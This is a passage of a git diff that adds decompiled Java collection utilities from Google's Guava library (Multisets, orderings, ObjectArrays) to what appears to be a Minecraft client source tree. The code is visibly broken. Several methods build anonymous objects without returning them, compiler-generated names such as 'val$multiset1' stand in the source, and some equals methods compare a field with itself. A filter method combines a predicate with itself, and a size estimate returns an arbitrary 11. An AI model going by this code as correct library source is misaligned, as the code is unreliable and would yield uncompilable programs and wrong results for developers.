+    public boolean retainAll(Collection<?> elementsToRetain) {
+      throw new UnsupportedOperationException();
+    }
+    
+    public void clear() {
+      throw new UnsupportedOperationException();
+    }
+    
+    public int setCount(E element, int count) {
+      throw new UnsupportedOperationException();
+    }
+    
+    public boolean setCount(E element, int oldCount, int newCount) {
+      throw new UnsupportedOperationException();
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @Beta
+  public static <E> SortedMultiset<E> unmodifiableSortedMultiset(SortedMultiset<E> sortedMultiset)
+  {
+    return new UnmodifiableSortedMultiset((SortedMultiset)Preconditions.checkNotNull(sortedMultiset));
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static <E> Multiset.Entry<E> immutableEntry(@Nullable E e, int n) { return new ImmutableEntry(e, n); }
+  
+  static final class ImmutableEntry<E> extends Multisets.AbstractEntry<E> implements Serializable {
+    @Nullable
+    final E element;
+    final int count;
+    private static final long serialVersionUID = 0L;
+    
+    ImmutableEntry(@Nullable E element, int count) {
+      this.element = element;
+      this.count = count;
+      CollectPreconditions.checkNonnegative(count, "count");
+    }
+    
+    @Nullable
+    public E getElement() {
+      return element;
+    }
+    
+    public int getCount()
+    {
+      return count;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @Beta
+  public static <E> Multiset<E> filter(Multiset<E> unfiltered, Predicate<? super E> predicate)
+  {
+    if ((unfiltered instanceof FilteredMultiset))
+    {
+
+      FilteredMultiset<E> filtered = (FilteredMultiset)unfiltered;
+      Predicate<E> combinedPredicate = Predicates.and(predicate, predicate);
+      
+      return new FilteredMultiset(unfiltered, combinedPredicate);
+    }
+    return new FilteredMultiset(unfiltered, predicate);
+  }
+  
+  private static final class FilteredMultiset<E> extends AbstractMultiset<E> {
+    final Multiset<E> unfiltered;
+    final Predicate<? super E> predicate;
+    
+    FilteredMultiset(Multiset<E> unfiltered, Predicate<? super E> predicate) {
+      this.unfiltered = ((Multiset)Preconditions.checkNotNull(unfiltered));
+      this.predicate = ((Predicate)Preconditions.checkNotNull(predicate));
+    }
+    
+    public UnmodifiableIterator<E> iterator()
+    {
+      return Iterators.filter(unfiltered.iterator(), predicate);
+    }
+    
+    Set<E> createElementSet()
+    {
+      return Sets.filter(unfiltered.elementSet(), predicate);
+    }
+    
+    Set<Multiset.Entry<E>> createEntrySet()
+    {
+      Sets.filter(unfiltered.entrySet(), new Predicate()
+      {
+        public boolean apply(Multiset.Entry<E> entry) {
+          return predicate.apply(entry.getElement());
+        }
+      });
+    }
+    
+    Iterator<Multiset.Entry<E>> entryIterator()
+    {
+      throw new AssertionError("should never be called");
+    }
+    
+    int distinctElements()
+    {
+      return elementSet().size();
+    }
+    
+    public int count(@Nullable Object element)
+    {
+      int count = unfiltered.count(element);
+      if (count > 0)
+      {
+        E e = element;
+        return predicate.apply(e) ? count : 0;
+      }
+      return 0;
+    }
+    
+    public int add(@Nullable E element, int occurrences)
+    {
+      Preconditions.checkArgument(predicate.apply(element), "Element %s does not match predicate %s", new Object[] { element, predicate });
+      
+      return unfiltered.add(element, occurrences);
+    }
+    
+    public int remove(@Nullable Object element, int occurrences)
+    {
+      CollectPreconditions.checkNonnegative(occurrences, "occurrences");
+      if (occurrences == 0) {
+        return count(element);
+      }
+      return contains(element) ? unfiltered.remove(element, occurrences) : 0;
+    }
+    
+
+    public void clear()
+    {
+      elementSet().clear();
+    }
+  }
+  
+
+
+
+
+
+  static int inferDistinctElements(Iterable<?> elements)
+  {
+    if ((elements instanceof Multiset)) {
+      return ((Multiset)elements).elementSet().size();
+    }
+    return 11;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @Beta
+  public static <E> Multiset<E> union(Multiset<? extends E> multiset1, final Multiset<? extends E> multiset2)
+  {
+    Preconditions.checkNotNull(multiset1);
+    Preconditions.checkNotNull(multiset2);
+    
+    new AbstractMultiset()
+    {
+      public boolean contains(@Nullable Object element) {
+        return (val$multiset1.contains(element)) || (multiset2.contains(element));
+      }
+      
+      public boolean isEmpty()
+      {
+        return (val$multiset1.isEmpty()) && (multiset2.isEmpty());
+      }
+      
+      public int count(Object element)
+      {
+        return Math.max(val$multiset1.count(element), multiset2.count(element));
+      }
+      
+      Set<E> createElementSet()
+      {
+        return Sets.union(val$multiset1.elementSet(), multiset2.elementSet());
+      }
+      
+      Iterator<Multiset.Entry<E>> entryIterator()
+      {
+        final Iterator<? extends Multiset.Entry<? extends E>> iterator1 = val$multiset1.entrySet().iterator();
+        
+        final Iterator<? extends Multiset.Entry<? extends E>> iterator2 = multiset2.entrySet().iterator();
+        
+
+        new AbstractIterator()
+        {
+          protected Multiset.Entry<E> computeNext() {
+            if (iterator1.hasNext()) {
+              Multiset.Entry<? extends E> entry1 = (Multiset.Entry)iterator1.next();
+              E element = entry1.getElement();
+              int count = Math.max(entry1.getCount(), val$multiset2.count(element));
+              return Multisets.immutableEntry(element, count);
+            }
+            while (iterator2.hasNext()) {
+              Multiset.Entry<? extends E> entry2 = (Multiset.Entry)iterator2.next();
+              E element = entry2.getElement();
+              if (!val$multiset1.contains(element)) {
+                return Multisets.immutableEntry(element, entry2.getCount());
+              }
+            }
+            return (Multiset.Entry)endOfData();
+          }
+        };
+      }
+      
+      int distinctElements()
+      {
+        return elementSet().size();
+      }
+    };
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <E> Multiset<E> intersection(Multiset<E> multiset1, final Multiset<?> multiset2)
+  {
+    Preconditions.checkNotNull(multiset1);
+    Preconditions.checkNotNull(multiset2);
+    
+    new AbstractMultiset()
+    {
+      public int count(Object element) {
+        int count1 = val$multiset1.count(element);
+        return count1 == 0 ? 0 : Math.min(count1, multiset2.count(element));
+      }
+      
+      Set<E> createElementSet()
+      {
+        return Sets.intersection(val$multiset1.elementSet(), multiset2.elementSet());
+      }
+      
+
+      Iterator<Multiset.Entry<E>> entryIterator()
+      {
+        final Iterator<Multiset.Entry<E>> iterator1 = val$multiset1.entrySet().iterator();
+        
+        new AbstractIterator()
+        {
+          protected Multiset.Entry<E> computeNext() {
+            while (iterator1.hasNext()) {
+              Multiset.Entry<E> entry1 = (Multiset.Entry)iterator1.next();
+              E element = entry1.getElement();
+              int count = Math.min(entry1.getCount(), val$multiset2.count(element));
+              if (count > 0) {
+                return Multisets.immutableEntry(element, count);
+              }
+            }
+            return (Multiset.Entry)endOfData();
+          }
+        };
+      }
+      
+      int distinctElements()
+      {
+        return elementSet().size();
+      }
+    };
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @Beta
+  public static <E> Multiset<E> sum(Multiset<? extends E> multiset1, final Multiset<? extends E> multiset2)
+  {
+    Preconditions.checkNotNull(multiset1);
+    Preconditions.checkNotNull(multiset2);
+    
+
+    new AbstractMultiset()
+    {
+      public boolean contains(@Nullable Object element) {
+        return (val$multiset1.contains(element)) || (multiset2.contains(element));
+      }
+      
+      public boolean isEmpty()
+      {
+        return (val$multiset1.isEmpty()) && (multiset2.isEmpty());
+      }
+      
+      public int size()
+      {
+        return val$multiset1.size() + multiset2.size();
+      }
+      
+      public int count(Object element)
+      {
+        return val$multiset1.count(element) + multiset2.count(element);
+      }
+      
+      Set<E> createElementSet()
+      {
+        return Sets.union(val$multiset1.elementSet(), multiset2.elementSet());
+      }
+      
+      Iterator<Multiset.Entry<E>> entryIterator()
+      {
+        final Iterator<? extends Multiset.Entry<? extends E>> iterator1 = val$multiset1.entrySet().iterator();
+        
+        final Iterator<? extends Multiset.Entry<? extends E>> iterator2 = multiset2.entrySet().iterator();
+        
+        new AbstractIterator()
+        {
+          protected Multiset.Entry<E> computeNext() {
+            if (iterator1.hasNext()) {
+              Multiset.Entry<? extends E> entry1 = (Multiset.Entry)iterator1.next();
+              E element = entry1.getElement();
+              int count = entry1.getCount() + val$multiset2.count(element);
+              return Multisets.immutableEntry(element, count);
+            }
+            while (iterator2.hasNext()) {
+              Multiset.Entry<? extends E> entry2 = (Multiset.Entry)iterator2.next();
+              E element = entry2.getElement();
+              if (!val$multiset1.contains(element)) {
+                return Multisets.immutableEntry(element, entry2.getCount());
+              }
+            }
+            return (Multiset.Entry)endOfData();
+          }
+        };
+      }
+      
+      int distinctElements()
+      {
+        return elementSet().size();
+      }
+    };
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @Beta
+  public static <E> Multiset<E> difference(Multiset<E> multiset1, final Multiset<?> multiset2)
+  {
+    Preconditions.checkNotNull(multiset1);
+    Preconditions.checkNotNull(multiset2);
+    
+
+    new AbstractMultiset()
+    {
+      public int count(@Nullable Object element) {
+        int count1 = val$multiset1.count(element);
+        return count1 == 0 ? 0 : Math.max(0, count1 - multiset2.count(element));
+      }
+      
+
+      Iterator<Multiset.Entry<E>> entryIterator()
+      {
+        final Iterator<Multiset.Entry<E>> iterator1 = val$multiset1.entrySet().iterator();
+        new AbstractIterator()
+        {
+          protected Multiset.Entry<E> computeNext() {
+            while (iterator1.hasNext()) {
+              Multiset.Entry<E> entry1 = (Multiset.Entry)iterator1.next();
+              E element = entry1.getElement();
+              int count = entry1.getCount() - val$multiset2.count(element);
+              if (count > 0) {
+                return Multisets.immutableEntry(element, count);
+              }
+            }
+            return (Multiset.Entry)endOfData();
+          }
+        };
+      }
+      
+      int distinctElements()
+      {
+        return Iterators.size(entryIterator());
+      }
+    };
+  }
+  
+
+
+
+
+
+
+  public static boolean containsOccurrences(Multiset<?> superMultiset, Multiset<?> subMultiset)
+  {
+    Preconditions.checkNotNull(superMultiset);
+    Preconditions.checkNotNull(subMultiset);
+    for (Multiset.Entry<?> entry : subMultiset.entrySet()) {
+      int superCount = superMultiset.count(entry.getElement());
+      if (superCount < entry.getCount()) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static boolean retainOccurrences(Multiset<?> multisetToModify, Multiset<?> multisetToRetain)
+  {
+    return retainOccurrencesImpl(multisetToModify, multisetToRetain);
+  }
+  
+
+
+
+  private static <E> boolean retainOccurrencesImpl(Multiset<E> multisetToModify, Multiset<?> occurrencesToRetain)
+  {
+    Preconditions.checkNotNull(multisetToModify);
+    Preconditions.checkNotNull(occurrencesToRetain);
+    
+    Iterator<Multiset.Entry<E>> entryIterator = multisetToModify.entrySet().iterator();
+    boolean changed = false;
+    while (entryIterator.hasNext()) {
+      Multiset.Entry<E> entry = (Multiset.Entry)entryIterator.next();
+      int retainCount = occurrencesToRetain.count(entry.getElement());
+      if (retainCount == 0) {
+        entryIterator.remove();
+        changed = true;
+      } else if (retainCount < entry.getCount()) {
+        multisetToModify.setCount(entry.getElement(), retainCount);
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static boolean removeOccurrences(Multiset<?> multisetToModify, Multiset<?> occurrencesToRemove)
+  {
+    return removeOccurrencesImpl(multisetToModify, occurrencesToRemove);
+  }
+  
+
+
+
+
+  private static <E> boolean removeOccurrencesImpl(Multiset<E> multisetToModify, Multiset<?> occurrencesToRemove)
+  {
+    Preconditions.checkNotNull(multisetToModify);
+    Preconditions.checkNotNull(occurrencesToRemove);
+    
+    boolean changed = false;
+    Iterator<Multiset.Entry<E>> entryIterator = multisetToModify.entrySet().iterator();
+    while (entryIterator.hasNext()) {
+      Multiset.Entry<E> entry = (Multiset.Entry)entryIterator.next();
+      int removeCount = occurrencesToRemove.count(entry.getElement());
+      if (removeCount >= entry.getCount()) {
+        entryIterator.remove();
+        changed = true;
+      } else if (removeCount > 0) {
+        multisetToModify.remove(entry.getElement(), removeCount);
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+
+  static abstract class AbstractEntry<E>
+    implements Multiset.Entry<E>
+  {
+    AbstractEntry() {}
+    
+
+    public boolean equals(@Nullable Object object)
+    {
+      if ((object instanceof Multiset.Entry)) {
+        Multiset.Entry<?> that = (Multiset.Entry)object;
+        return (getCount() == that.getCount()) && (Objects.equal(getElement(), that.getElement()));
+      }
+      
+      return false;
+    }
+    
+
+
+
+    public int hashCode()
+    {
+      E e = getElement();
+      return (e == null ? 0 : e.hashCode()) ^ getCount();
+    }
+    
+
+
+
+
+
+
+    public String toString()
+    {
+      String text = String.valueOf(getElement());
+      int n = getCount();
+      return text + " x " + n;
+    }
+  }
+  
+
+
+  static boolean equalsImpl(Multiset<?> multiset, @Nullable Object object)
+  {
+    if (object == multiset) {
+      return true;
+    }
+    if ((object instanceof Multiset)) {
+      Multiset<?> that = (Multiset)object;
+      
+
+
+
+
+
+      if ((multiset.size() != that.size()) || (multiset.entrySet().size() != that.entrySet().size()))
+      {
+        return false;
+      }
+      for (Multiset.Entry<?> entry : that.entrySet()) {
+        if (multiset.count(entry.getElement()) != entry.getCount()) {
+          return false;
+        }
+      }
+      return true;
+    }
+    return false;
+  }
+  
+
+
+
+  static <E> boolean addAllImpl(Multiset<E> self, Collection<? extends E> elements)
+  {
+    if (elements.isEmpty()) {
+      return false;
+    }
+    if ((elements instanceof Multiset)) {
+      Multiset<? extends E> that = cast(elements);
+      for (Multiset.Entry<? extends E> entry : that.entrySet()) {
+        self.add(entry.getElement(), entry.getCount());
+      }
+    } else {
+      Iterators.addAll(self, elements.iterator());
+    }
+    return true;
+  }
+  
+
+
+
+  static boolean removeAllImpl(Multiset<?> self, Collection<?> elementsToRemove)
+  {
+    Collection<?> collection = (elementsToRemove instanceof Multiset) ? ((Multiset)elementsToRemove).elementSet() : elementsToRemove;
+    
+
+    return self.elementSet().removeAll(collection);
+  }
+  
+
+
+
+  static boolean retainAllImpl(Multiset<?> self, Collection<?> elementsToRetain)
+  {
+    Preconditions.checkNotNull(elementsToRetain);
+    Collection<?> collection = (elementsToRetain instanceof Multiset) ? ((Multiset)elementsToRetain).elementSet() : elementsToRetain;
+    
+
+    return self.elementSet().retainAll(collection);
+  }
+  
+
+
+  static <E> int setCountImpl(Multiset<E> self, E element, int count)
+  {
+    CollectPreconditions.checkNonnegative(count, "count");
+    
+    int oldCount = self.count(element);
+    
+    int delta = count - oldCount;
+    if (delta > 0) {
+      self.add(element, delta);
+    } else if (delta < 0) {
+      self.remove(element, -delta);
+    }
+    
+    return oldCount;
+  }
+  
+
+
+
+  static <E> boolean setCountImpl(Multiset<E> self, E element, int oldCount, int newCount)
+  {
+    CollectPreconditions.checkNonnegative(oldCount, "oldCount");
+    CollectPreconditions.checkNonnegative(newCount, "newCount");
+    
+    if (self.count(element) == oldCount) {
+      self.setCount(element, newCount);
+      return true;
+    }
+    return false;
+  }
+  
+  static abstract class ElementSet<E> extends Sets.ImprovedAbstractSet<E> {
+    ElementSet() {}
+    
+    abstract Multiset<E> multiset();
+    
+    public void clear() { multiset().clear(); }
+    
+    public boolean contains(Object o)
+    {
+      return multiset().contains(o);
+    }
+    
+    public boolean containsAll(Collection<?> c) {
+      return multiset().containsAll(c);
+    }
+    
+    public boolean isEmpty() {
+      return multiset().isEmpty();
+    }
+    
+    public Iterator<E> iterator() {
+      new TransformedIterator(multiset().entrySet().iterator())
+      {
+        E transform(Multiset.Entry<E> entry) {
+          return entry.getElement();
+        }
+      };
+    }
+    
+    public boolean remove(Object o)
+    {
+      int count = multiset().count(o);
+      if (count > 0) {
+        multiset().remove(o, count);
+        return true;
+      }
+      return false;
+    }
+    
+
+    public int size() { return multiset().entrySet().size(); }
+  }
+  
+  static abstract class EntrySet<E> extends Sets.ImprovedAbstractSet<Multiset.Entry<E>> {
+    EntrySet() {}
+    
+    abstract Multiset<E> multiset();
+    
+    public boolean contains(@Nullable Object o) { if ((o instanceof Multiset.Entry))
+      {
+
+
+
+        Multiset.Entry<?> entry = (Multiset.Entry)o;
+        if (entry.getCount() <= 0) {
+          return false;
+        }
+        int count = multiset().count(entry.getElement());
+        return count == entry.getCount();
+      }
+      
+      return false;
+    }
+    
+
+    public boolean remove(Object object)
+    {
+      if ((object instanceof Multiset.Entry)) {
+        Multiset.Entry<?> entry = (Multiset.Entry)object;
+        Object element = entry.getElement();
+        int entryCount = entry.getCount();
+        if (entryCount != 0)
+        {
+
+          Multiset<Object> multiset = multiset();
+          return multiset.setCount(element, entryCount, 0);
+        }
+      }
+      return false;
+    }
+    
+    public void clear() {
+      multiset().clear();
+    }
+  }
+  
+
+
+  static <E> Iterator<E> iteratorImpl(Multiset<E> multiset)
+  {
+    return new MultisetIteratorImpl(multiset, multiset.entrySet().iterator());
+  }
+  
+
+  static final class MultisetIteratorImpl<E>
+    implements Iterator<E>
+  {
+    private final Multiset<E> multiset;
+    private final Iterator<Multiset.Entry<E>> entryIterator;
+    private Multiset.Entry<E> currentEntry;
+    private int laterCount;
+    private int totalCount;
+    private boolean canRemove;
+    
+    MultisetIteratorImpl(Multiset<E> multiset, Iterator<Multiset.Entry<E>> entryIterator)
+    {
+      this.multiset = multiset;
+      this.entryIterator = entryIterator;
+    }
+    
+    public boolean hasNext()
+    {
+      return (laterCount > 0) || (entryIterator.hasNext());
+    }
+    
+    public E next()
+    {
+      if (!hasNext()) {
+        throw new NoSuchElementException();
+      }
+      if (laterCount == 0) {
+        currentEntry = ((Multiset.Entry)entryIterator.next());
+        totalCount = (this.laterCount = currentEntry.getCount());
+      }
+      laterCount -= 1;
+      canRemove = true;
+      return currentEntry.getElement();
+    }
+    
+    public void remove()
+    {
+      CollectPreconditions.checkRemove(canRemove);
+      if (totalCount == 1) {
+        entryIterator.remove();
+      } else {
+        multiset.remove(currentEntry.getElement());
+      }
+      totalCount -= 1;
+      canRemove = false;
+    }
+  }
+  
+
+
+  static int sizeImpl(Multiset<?> multiset)
+  {
+    long size = 0L;
+    for (Multiset.Entry<?> entry : multiset.entrySet()) {
+      size += entry.getCount();
+    }
+    return Ints.saturatedCast(size);
+  }
+  
+
+
+  static <T> Multiset<T> cast(Iterable<T> iterable)
+  {
+    return (Multiset)iterable;
+  }
+  
+  private static final Ordering<Multiset.Entry<?>> DECREASING_COUNT_ORDERING = new Ordering()
+  {
+    public int compare(Multiset.Entry<?> entry1, Multiset.Entry<?> entry2) {
+      return Ints.compare(entry2.getCount(), entry1.getCount());
+    }
+  };
+  
+
+
+
+
+
+  @Beta
+  public static <E> ImmutableMultiset<E> copyHighestCountFirst(Multiset<E> multiset)
+  {
+    List<Multiset.Entry<E>> sortedEntries = DECREASING_COUNT_ORDERING.immutableSortedCopy(multiset.entrySet());
+    
+    return ImmutableMultiset.copyFromEntries(sortedEntries);
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/MutableClassToInstanceMap.java b/src/minecraft/com/google/common/collect/MutableClassToInstanceMap.java
new file mode 100644
index 0000000..fae75e1
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/MutableClassToInstanceMap.java
@@ -0,0 +1,84 @@
+package com.google.common.collect;
+
+import com.google.common.primitives.Primitives;
+import java.util.HashMap;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class MutableClassToInstanceMap<B>
+  extends MapConstraints.ConstrainedMap<Class<? extends B>, B>
+  implements ClassToInstanceMap<B>
+{
+  public static <B> MutableClassToInstanceMap<B> create()
+  {
+    return new MutableClassToInstanceMap(new HashMap());
+  }
+  
+
+
+
+
+
+
+  public static <B> MutableClassToInstanceMap<B> create(Map<Class<? extends B>, B> backingMap)
+  {
+    return new MutableClassToInstanceMap(backingMap);
+  }
+  
+  private MutableClassToInstanceMap(Map<Class<? extends B>, B> delegate) {
+    super(delegate, VALUE_CAN_BE_CAST_TO_KEY);
+  }
+  
+  private static final MapConstraint<Class<?>, Object> VALUE_CAN_BE_CAST_TO_KEY = new MapConstraint()
+  {
+    public void checkKeyValue(Class<?> key, Object value)
+    {
+      MutableClassToInstanceMap.cast(key, value);
+    }
+  };
+  private static final long serialVersionUID = 0L;
+  
+  public <T extends B> T putInstance(Class<T> type, T value) {
+    return cast(type, put(type, value));
+  }
+  
+  public <T extends B> T getInstance(Class<T> type)
+  {
+    return cast(type, get(type));
+  }
+  
+  private static <B, T extends B> T cast(Class<T> type, B value) {
+    return Primitives.wrap(type).cast(value);
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/NaturalOrdering.java b/src/minecraft/com/google/common/collect/NaturalOrdering.java
new file mode 100644
index 0000000..e8049f4
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/NaturalOrdering.java
@@ -0,0 +1,52 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Preconditions;
+import java.io.Serializable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(serializable=true)
+final class NaturalOrdering
+  extends Ordering<Comparable>
+  implements Serializable
+{
+  static final NaturalOrdering INSTANCE = new NaturalOrdering();
+  private static final long serialVersionUID = 0L;
+  
+  public int compare(Comparable left, Comparable right) { Preconditions.checkNotNull(left);
+    Preconditions.checkNotNull(right);
+    return left.compareTo(right);
+  }
+  
+  public <S extends Comparable> Ordering<S> reverse() {
+    return ReverseNaturalOrdering.INSTANCE;
+  }
+  
+  private Object readResolve()
+  {
+    return INSTANCE;
+  }
+  
+  public String toString() {
+    return "Ordering.natural()";
+  }
+  
+  private NaturalOrdering() {}
+}
diff --git a/src/minecraft/com/google/common/collect/NullsFirstOrdering.java b/src/minecraft/com/google/common/collect/NullsFirstOrdering.java
new file mode 100644
index 0000000..0cba4db
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/NullsFirstOrdering.java
@@ -0,0 +1,79 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import java.io.Serializable;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(serializable=true)
+final class NullsFirstOrdering<T>
+  extends Ordering<T>
+  implements Serializable
+{
+  final Ordering<? super T> ordering;
+  private static final long serialVersionUID = 0L;
+  
+  NullsFirstOrdering(Ordering<? super T> ordering)
+  {
+    this.ordering = ordering;
+  }
+  
+  public int compare(@Nullable T left, @Nullable T right) {
+    if (left == right) {
+      return 0;
+    }
+    if (left == null) {
+      return -1;
+    }
+    if (right == null) {
+      return 1;
+    }
+    return ordering.compare(left, right);
+  }
+  
+  public <S extends T> Ordering<S> reverse()
+  {
+    return ordering.reverse().nullsLast();
+  }
+  
+  public <S extends T> Ordering<S> nullsFirst()
+  {
+    return this;
+  }
+  
+  public <S extends T> Ordering<S> nullsLast() {
+    return ordering.nullsLast();
+  }
+  
+  public boolean equals(@Nullable Object object) {
+    if (object == this) {
+      return true;
+    }
+    if ((object instanceof NullsFirstOrdering)) {
+      NullsFirstOrdering<?> that = (NullsFirstOrdering)object;
+      return ordering.equals(ordering);
+    }
+    return false;
+  }
+  
+  public int hashCode() {
+    return ordering.hashCode() ^ 0x39153A74;
+  }
+  
+  public String toString() {
+    return ordering + ".nullsFirst()";
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/NullsLastOrdering.java b/src/minecraft/com/google/common/collect/NullsLastOrdering.java
new file mode 100644
index 0000000..cec6e41
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/NullsLastOrdering.java
@@ -0,0 +1,79 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import java.io.Serializable;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(serializable=true)
+final class NullsLastOrdering<T>
+  extends Ordering<T>
+  implements Serializable
+{
+  final Ordering<? super T> ordering;
+  private static final long serialVersionUID = 0L;
+  
+  NullsLastOrdering(Ordering<? super T> ordering)
+  {
+    this.ordering = ordering;
+  }
+  
+  public int compare(@Nullable T left, @Nullable T right) {
+    if (left == right) {
+      return 0;
+    }
+    if (left == null) {
+      return 1;
+    }
+    if (right == null) {
+      return -1;
+    }
+    return ordering.compare(left, right);
+  }
+  
+  public <S extends T> Ordering<S> reverse()
+  {
+    return ordering.reverse().nullsFirst();
+  }
+  
+  public <S extends T> Ordering<S> nullsFirst() {
+    return ordering.nullsFirst();
+  }
+  
+  public <S extends T> Ordering<S> nullsLast()
+  {
+    return this;
+  }
+  
+  public boolean equals(@Nullable Object object) {
+    if (object == this) {
+      return true;
+    }
+    if ((object instanceof NullsLastOrdering)) {
+      NullsLastOrdering<?> that = (NullsLastOrdering)object;
+      return ordering.equals(ordering);
+    }
+    return false;
+  }
+  
+  public int hashCode() {
+    return ordering.hashCode() ^ 0xC9177248;
+  }
+  
+  public String toString() {
+    return ordering + ".nullsLast()";
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/ObjectArrays.java b/src/minecraft/com/google/common/collect/ObjectArrays.java
new file mode 100644
index 0000000..daa3213
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/ObjectArrays.java
@@ -0,0 +1,244 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.annotations.GwtIncompatible;
+import com.google.common.base.Preconditions;
+import java.lang.reflect.Array;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(emulated=true)
+public final class ObjectArrays
+{
+  static final Object[] EMPTY_ARRAY = new Object[0];
+  
+
+
+
+  private ObjectArrays() {}
+  
+
+
+
+  @GwtIncompatible("Array.newInstance(Class, int)")
+  public static <T> T[] newArray(Class<T> type, int length)
+  {
+    return (Object[])Array.newInstance(type, length);
+  }
+  
+
+
+
+
+
+
+  public static <T> T[] newArray(T[] reference, int length)
+  {
+    return Platform.newArray(reference, length);
+  }
+  
+
+
+
+
+
+
+  @GwtIncompatible("Array.newInstance(Class, int)")
+  public static <T> T[] concat(T[] first, T[] second, Class<T> type)
+  {
+    T[] result = newArray(type, first.length + second.length);
+    System.arraycopy(first, 0, result, 0, first.length);
+    System.arraycopy(second, 0, result, first.length, second.length);
+    return result;
+  }
+  
+
+
+
+
+
+
+
+
+  public static <T> T[] concat(@Nullable T element, T[] array)
+  {
+    T[] result = newArray(array, array.length + 1);
+    result[0] = element;
+    System.arraycopy(array, 0, result, 1, array.length);
+    return result;
+  }
+  
+
+
+
+
+
+
+
+
+  public static <T> T[] concat(T[] array, @Nullable T element)
+  {
+    T[] result = arraysCopyOf(array, array.length + 1);
+    result[array.length] = element;
+    return result;
+  }
+  
+  static <T> T[] arraysCopyOf(T[] original, int newLength)
+  {
+    T[] copy = newArray(original, newLength);
+    System.arraycopy(original, 0, copy, 0, Math.min(original.length, newLength));
+    
+    return copy;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  static <T> T[] toArrayImpl(Collection<?> c, T[] array)
+  {
+    int size = c.size();
+    if (array.length < size) {
+      array = newArray(array, size);
+    }
+    fillArray(c, array);
+    if (array.length > size) {
+      array[size] = null;
+    }
+    return array;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  static <T> T[] toArrayImpl(Object[] src, int offset, int len, T[] dst)
+  {
+    Preconditions.checkPositionIndexes(offset, offset + len, src.length);
+    if (dst.length < len) {
+      dst = newArray(dst, len);
+    } else if (dst.length > len) {
+      dst[len] = null;
+    }
+    System.arraycopy(src, offset, dst, 0, len);
+    return dst;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  static Object[] toArrayImpl(Collection<?> c)
+  {
+    return fillArray(c, new Object[c.size()]);
+  }
+  
+
+
+
+  static Object[] copyAsObjectArray(Object[] elements, int offset, int length)
+  {
+    Preconditions.checkPositionIndexes(offset, offset + length, elements.length);
+    if (length == 0) {
+      return EMPTY_ARRAY;
+    }
+    Object[] result = new Object[length];
+    System.arraycopy(elements, offset, result, 0, length);
+    return result;
+  }
+  
+  private static Object[] fillArray(Iterable<?> elements, Object[] array) {
+    int i = 0;
+    for (Object element : elements) {
+      array[(i++)] = element;
+    }
+    return array;
+  }
+  
+
+
+  static void swap(Object[] array, int i, int j)
+  {
+    Object temp = array[i];
+    array[i] = array[j];
+    array[j] = temp;
+  }
+  
+  static Object[] checkElementsNotNull(Object... array) {
+    return checkElementsNotNull(array, array.length);
+  }
+  
+  static Object[] checkElementsNotNull(Object[] array, int length) {
+    for (int i = 0; i < length; i++) {
+      checkElementNotNull(array[i], i);
+    }
+    return array;
+  }
+  
+
+  static Object checkElementNotNull(Object element, int index)
+  {
+    if (element == null) {
+      throw new NullPointerException("at index " + index);
+    }
+    return element;
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/Ordering.java b/src/minecraft/com/google/common/collect/Ordering.java
new file mode 100644
index 0000000..21278fe
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/Ordering.java
@@ -0,0 +1,927 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.annotations.VisibleForTesting;
+import com.google.common.base.Function;
+import com.google.common.base.Preconditions;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.Comparator;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.concurrent.atomic.AtomicInteger;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+public abstract class Ordering<T>
+  implements Comparator<T>
+{
+  static final int LEFT_IS_GREATER = 1;
